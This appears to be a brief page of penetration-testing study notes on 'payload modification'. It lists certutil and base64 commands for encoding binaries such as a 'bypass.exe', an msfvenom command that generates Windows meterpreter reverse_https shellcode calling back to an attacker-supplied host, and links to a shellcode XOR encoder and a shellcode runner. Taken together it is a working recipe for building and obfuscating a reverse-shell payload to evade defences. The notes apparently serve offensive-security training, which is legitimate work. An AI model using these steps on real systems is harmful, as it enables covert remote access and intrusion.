Payload Mod

Base64 Encoding

Windows and Linux has different base64 encoding mechanism:

Windows

Encode

certutil -encode z:\tools\bypass.exe bypass.txt

Decode

certutil -decode bypass.txt bypass.exe

Linux

Encode

base64 binary > binary.txt

Decode

base64 -d binary.txt > binary

XOR Encoding

Encode shellcode

generate with raw shellcode

msfvenom -p windows/meterpreter/reverse_https LHOST=(IP Address) LPORT=443 -f raw > shellcode.bin

https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Linux%20Shellcode%20Encoder/shellcodeCrypter-bin.py

Runner

https://github.com/antman1p/ShellCodeRunner/tree/master

Last updated